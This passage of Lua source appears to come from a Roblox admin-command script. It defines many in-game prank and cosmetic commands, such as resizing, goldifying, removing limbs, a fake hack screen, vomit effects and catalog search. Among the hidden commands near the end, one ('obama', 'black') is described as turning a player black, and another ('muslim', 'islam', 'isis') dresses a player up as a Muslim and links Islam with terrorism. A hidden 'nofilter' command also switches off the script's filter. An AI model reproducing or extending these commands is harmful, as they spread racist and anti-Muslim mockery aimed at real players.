7031 for _,Player in pairs(Players) do
7032 CORE:Scale(Player, 70)
7033 end
7034 end, Hidden = true};
7035
7036 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
7037 local Players = STRING:Scan(Arguments[1], Speaker)
7038 for _,Player in pairs(Players) do
7039 CORE:Scale(Player, 500)
7040 end
7041 end};
7042
7043 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
7044 local Players = STRING:Scan(Arguments[1], Speaker)
7045 for _,Player in pairs(Players) do
7046 if Player.Character then
7047 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7048 Obj.Reflectance = 0.5
7049 Obj.BrickColor = BrickColor.new("New Yeller")
7050 end)
7051 end
7052 end
7053 end};
7054
7055 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
7056 local Players = STRING:Scan(Arguments[1], Speaker)
7057 for _,Player in pairs(Players) do
7058 if Player.Character then
7059 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7060 Obj.Reflectance = 0.5
7061 end)
7062 end
7063 end
7064 end};
7065
7066 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
7067 local Players = STRING:Scan(Arguments[1], Speaker)
7068 for _,Player in pairs(Players) do
7069 if Player.Character then
7070 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7071 Obj.Transparency = 0.5
7072 Obj.Reflectance = 0
7073 Obj.BrickColor = BrickColor.new("Institutional white")
7074 end)
7075 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
7076 Obj.Transparency = 0.5
7077 end)
7078 end
7079 end
7080 end};
7081
7082 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7083 local Players = STRING:Scan(Arguments[1], Speaker)
7084 for _,Player in pairs(Players) do
7085 if Player.Character then
7086 for _,Obj in pairs(Player.Character:GetChildren()) do
7087 local Valid = false
7088 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7089 if Valid == true then Obj:Destroy() end
7090 end
7091 end
7092 end
7093 end};
7094
7095 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7096 local Players = STRING:Scan(Arguments[1], Speaker)
7097 for _,Player in pairs(Players) do
7098 if Player.Character then
7099 for _,Obj in pairs(Player.Character:GetChildren()) do
7100 local Valid = false
7101 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7102 if Valid == true then Obj:Destroy() end
7103 end
7104 end
7105 end
7106 end};
7107
7108 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7109 local Players = STRING:Scan(Arguments[1], Speaker)
7110 for _,Player in pairs(Players) do
7111 if Player.Character then
7112 for _,Obj in pairs(Player.Character:GetChildren()) do
7113 local Valid = false
7114 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7115 if Valid == true then Obj:Destroy() end
7116 end
7117 end
7118 end
7119 end};
7120
7121 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
7122 local Players = STRING:Scan(Arguments[1], Speaker)
7123 for _,Player in pairs(Players) do
7124 if Player.Character then
7125 for _,Obj in pairs(Player.Character:GetChildren()) do
7126 if Obj:IsA("Accoutrement") then
7127 Obj:Destroy()
7128 end
7129 end
7130 end
7131 end
7132 end};
7133
7134 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7135 local Players = STRING:Scan(Arguments[1], Speaker)
7136 for _,Player in pairs(Players) do
7137 Player:ClearCharacterAppearance()
7138 end
7139 end};
7140
7141 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7142 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7143 local TmpPlayers = {}
7144 local Output = {}
7145 for _,Data in pairs(Players) do
7146 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7147 end
7148 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7149 end};
7150
7151 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7152 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7153 GUI:SendHint(Speaker, "Player Database cleared", 5)
7154 end};
7155
7156 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7157 local Players = STRING:Scan(Arguments[1], Speaker)
7158 for _,Player in pairs(Players) do
7159 GUI:FakeHack(Player)
7160 end
7161 end};
7162
7163 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7164 local Players = STRING:Scan(Arguments[1], Speaker)
7165 for _,Player in pairs(Players) do
7166 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7167 for _,Object in pairs(Player.Backpack:GetChildren()) do
7168 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7169 local Clone = Object:Clone()
7170 Clone.Parent = Speaker.Backpack
7171 end
7172 end
7173 end
7174 end
7175 end};
7176
7177 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7178 local Players = STRING:Scan(Arguments[1], Speaker)
7179 for _,Player in pairs(Players) do
7180 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7181 for _,Object in pairs(Player.Backpack:GetChildren()) do
7182 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7183 Object.Parent = Speaker.Backpack
7184 end
7185 end
7186 end
7187 end
7188 end};
7189
7190 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7191 local Players = STRING:Scan(Arguments[1], Speaker)
7192 for _,Player in pairs(Players) do
7193 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7194 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7195 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7196 local Clone = Object:Clone()
7197 Clone.Parent = Player.Backpack
7198 end
7199 end
7200 end
7201 end
7202 end};
7203
7204 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7205 local Players = STRING:Scan(Arguments[1], Speaker)
7206 for _,Player in pairs(Players) do
7207 if Player:FindFirstChild("Backpack") then
7208 Player.Backpack:ClearAllChildren()
7209 end
7210 if Player.Character ~= nil then
7211 for _,Obj in pairs(Player.Character:GetChildren()) do
7212 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7213 Obj:Destroy()
7214 end
7215 end
7216 end
7217 end
7218 end};
7219
7220 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7221 local Players = STRING:Scan(Arguments[1], Speaker)
7222 for _,Player in pairs(Players) do
7223 if Player.Character then
7224 if Player.Character:FindFirstChild("Head") then
7225 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7226 coroutine.wrap(function()
7227 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7228 local OldFace = Player.Character.Head.face.Texture
7229 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7230 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7231 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7232 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7233 Sound:Play()
7234 coroutine.wrap(function() for i = 1,100 do wait()
7235 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7236 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7237 end
7238 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7239 end end
7240 end)()
7241 end
7242 end
7243 end
7244 end
7245 end};
7246
7247 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7248 local Players = STRING:Scan(Arguments[1], Speaker)
7249 for _,Player in pairs(Players) do
7250 if Player.Character then
7251 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7252 coroutine.wrap(function()
7253 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7254 local OldFace = Player.Character.Head.face.Texture
7255 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7256 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7257 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7258 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7259 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7260 Sound:Play()
7261 wait(1)
7262 Smoke.Enabled = false
7263 wait(1)
7264 Fart:Destroy()
7265 Fart:Destroy()
7266 Player.Character.Head.face.Texture = OldFace
7267 end end
7268 end)()
7269 end
7270 end
7271 end
7272 end};
7273
7274 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7275 local Players = STRING:Scan(Arguments[1], Speaker)
7276 for _,Player in pairs(Players) do
7277 if Player:FindFirstChild("Backpack") then
7278 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7279 end
7280 end
7281 end};
7282
7283 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7284 local Players = STRING:Scan(Arguments[1], Speaker)
7285 for _,Player in pairs(Players) do
7286 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7287 Player.Character.MMLGraffiti:ClearAllChildren()
7288 end
7289 end
7290 end};
7291
7292 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7293 local Players = STRING:Scan(Arguments[1], Speaker)
7294 for _,Player in pairs(Players) do
7295 if Player.Character and Player.Character:FindFirstChild("Torso") then
7296 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7297 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7298 end
7299 end
7300 end};
7301
7302 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7303 local Players = STRING:Scan(Arguments[1], Speaker)
7304 for _,Player in pairs(Players) do
7305 if Player.Character and Player.Character:FindFirstChild("Torso") then
7306 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7307 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7308 end
7309 end
7310 end};
7311
7312 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7313 local Players = STRING:Scan(Arguments[1], Speaker)
7314 for _,Player in pairs(Players) do
7315 if Player.Character and Player.Character:FindFirstChild("Torso") then
7316 local Lights = {}
7317 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7318 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7319 table.insert(Lights, Obj)
7320 end
7321 end
7322 for _,Light in pairs(Lights) do
7323 coroutine.wrap(function()
7324 for i = 1,20 do
7325 Light.Brightness = Light.Brightness/5
7326 wait()
7327 end
7328 Light:Destroy()
7329 end)()
7330 end
7331 end
7332 end
7333 end};
7334
7335 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7336 local Players = STRING:Scan(Arguments[1], Speaker)
7337 for _,Player in pairs(Players) do
7338 if Player.Character and Player:FindFirstChild("PlayerGui") then
7339 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7340 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7341 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7342 local Stop = false
7343 coroutine.wrap(function()
7344 repeat
7345 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7346 wait(0.1)
7347 until not SG or not SG.Parent
7348 end)()
7349 CORE:ExecuteResource("Drug", Player.Character)
7350 end
7351 end
7352 end};
7353
7354 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7355 local Players = STRING:Scan(Arguments[1], Speaker)
7356 for _,Player in pairs(Players) do
7357 if Player:FindFirstChild("PlayerGui") then
7358 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7359 wait() CORE:RestoreCamera(Player)
7360 end
7361 end
7362 end};
7363
7364 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7365 local AbuseMode = false
7366 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7367 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7368 if Speaker:FindFirstChild("Backpack") then
7369 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7370 end
7371 end)
7372 end, Http = true};
7373
7374 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7375 local Type = "all"
7376 local Query = string.lower(Arguments[1])
7377 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7378 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7379 Type = Arguments[1]
7380 Query = Arguments[2]
7381 end
7382 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7383 if Speaker.Character then
7384 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7385 end
7386 end, MARKET:AccessoryToSubcategory(Type))
7387 end, Http = true};
7388
7389 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7390 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7391 if Speaker.Character then
7392 CORE:GivePackage(Speaker, ID)
7393 end
7394 end, 11)
7395 end, Http = false};
7396
7397 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7398 local Players = STRING:Scan(Arguments[1], Speaker)
7399 for _,Player in pairs(Players) do
7400 CORE:GivePackage(Player)
7401 end
7402 end};
7403
7404 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7405 local Players = STRING:Scan(Arguments[1], Speaker)
7406 for _,Player in pairs(Players) do
7407 CORE:GivePackage(Player, Arguments[2])
7408 end
7409 end, Http = false};
7410
7411 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7412 local Players = STRING:Scan(Arguments[1], Speaker)
7413 for _,Player in pairs(Players) do
7414 local Stats = Player:FindFirstChild("leaderstats")
7415 if Stats ~= nil then
7416 for _,Stat in pairs(Stats:GetChildren()) do
7417 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7418 ypcall(function() Stat.Value = Arguments[3] end)
7419 end
7420 end
7421 end
7422 end
7423 end};
7424
7425 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7426 local ID = tonumber(Arguments[2])
7427 local Players = STRING:Scan(Arguments[1], Speaker)
7428 for _,Player in pairs(Players) do
7429 for _,Player in pairs(Players) do
7430 if Player.Character ~= nil then
7431 local Obj = Player.Character:FindFirstChild("Shirt")
7432 if Obj then
7433 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7434 else
7435 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7436 end
7437 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7438 end
7439 end
7440 end
7441 end};
7442
7443 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7444 local ID = tonumber(Arguments[2])
7445 local Players = STRING:Scan(Arguments[1], Speaker)
7446 for _,Player in pairs(Players) do
7447 for _,Player in pairs(Players) do
7448 if Player.Character ~= nil then
7449 local Obj = Player.Character:FindFirstChild("Pants")
7450 if Obj then
7451 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7452 else
7453 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7454 end
7455 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7456 end
7457 end
7458 end
7459 end};
7460
7461 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7462 local ID = tonumber(Arguments[2])
7463 local Players = STRING:Scan(Arguments[1], Speaker)
7464 for _,Player in pairs(Players) do
7465 for _,Player in pairs(Players) do
7466 if Player.Character ~= nil then
7467 if Player.Character:FindFirstChild("Torso") then
7468 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7469 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7470 if Obj1 then
7471 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7472 else
7473 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7474 end
7475 if Obj2 then
7476 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7477 else
7478 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7479 end
7480 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7481 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7482 end
7483 end
7484 end
7485 end
7486 end};
7487
7488 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7489 local Players = STRING:Scan(Arguments[1], Speaker)
7490 for _,Player in pairs(Players) do
7491 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7492 end
7493 end};
7494
7495 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7496 if CORE:InAdminGroup(Speaker) then
7497 local Players = STRING:Scan(Arguments[1], Speaker)
7498 for _,Player in pairs(Players) do
7499 if Player:FindFirstChild("Backpack") then
7500 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7501 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7502 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7503 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7504 CORE:ExecuteResource("CookieTool", Tool)
7505 end
7506 end
7507 end
7508 end};
7509
7510 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7511 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7512 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7513 end
7514 end};
7515
7516 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7517 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7518 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7519 Model:MakeJoints()
7520 for i = 1,math.random(10,20) do
7521 Model.Name = Model.Name..string.char(math.random(97,122))
7522 end
7523 if Model:GetChildren()[1] then
7524 table.insert(Objects, Model)
7525 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7526 end
7527 end
7528 end};
7529
7530 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7531 local ID = tonumber(Arguments[2])
7532 local Players = STRING:Scan(Arguments[1], Speaker)
7533 for _,Player in pairs(Players) do
7534 if Player.Character then
7535 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7536 end
7537 end
7538 end};
7539
7540 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7541 local Players = STRING:Scan(Arguments[1], Speaker)
7542 for _,Player in pairs(Players) do
7543 if Player.Character then
7544 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7545 if StopAnim then StopAnim:Destroy() end
7546 end
7547 end
7548 end};
7549
7550 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7551 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7552 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7553 end
7554 end};
7555
7556 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7557 if tonumber(Arguments[1]) then
7558 Server.Lighting.Brightness = tonumber(Arguments[1])
7559 end
7560 end};
7561
7562 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7563 local Players = STRING:Scan(Arguments[1], Speaker)
7564 for _,Player in pairs(Players) do
7565 GUI:CoreGui(Player, "PlayerList", true)
7566 end
7567 end};
7568
7569 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7570 local Players = STRING:Scan(Arguments[1], Speaker)
7571 for _,Player in pairs(Players) do
7572 local Players = STRING:Scan(Arguments[1], Speaker)
7573 GUI:CoreGui(Player, "PlayerList", false)
7574 end
7575 end};
7576
7577 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7578 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7579 end, Hidden = true};
7580
7581 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7582 local Players = STRING:Scan(Arguments[1], Speaker)
7583 for _,Player in pairs(Players) do
7584 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7585 end
7586 end, Hidden = true};
7587
7588 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7589 local Players = STRING:Scan(Arguments[1], Speaker)
7590 for _,Player in pairs(Players) do
7591 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7592 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7593 Player:ClearCharacterAppearance()
7594 CORE:Insert(12436480, Player.Character, true)
7595 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7596 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7597 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7598 end
7599 end
7600 end, Hidden = true};
7601
7602 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7603 local Players = STRING:Scan(Arguments[1], Speaker)
7604 for _,Player in pairs(Players) do
7605 CORE:ChangeCharacter(Player, 0, false, Speaker)
7606 end
7607 end};
7608
7609 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7610 ShouldFilter = false
7611 end, Hidden = true};
7612
7613 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7614 local Bet = Arguments[1]
7615 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7616 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7617 elseif #Bet > 5 then
7618 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7619 else
7620 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7621 if Answer == "Yes" then
7622 local OldBet = Settings.Bet
7623 CORE:ChangeBet(Bet)
7624 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7625 end
7626 end
7627 end};
7628
7629 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7630 local Prefix = Arguments[1]
7631 if #Prefix > 5 then
7632 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7633 else
7634 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7635 if Answer == "Yes" then
7636 local OldPrefix = Settings.Prefix
7637 Settings.Prefix = Prefix
7638 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7639 end
7640 end
7641 end};
7642
7643 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7644 GUI:CommandBar(Speaker)
7645 end};
7646
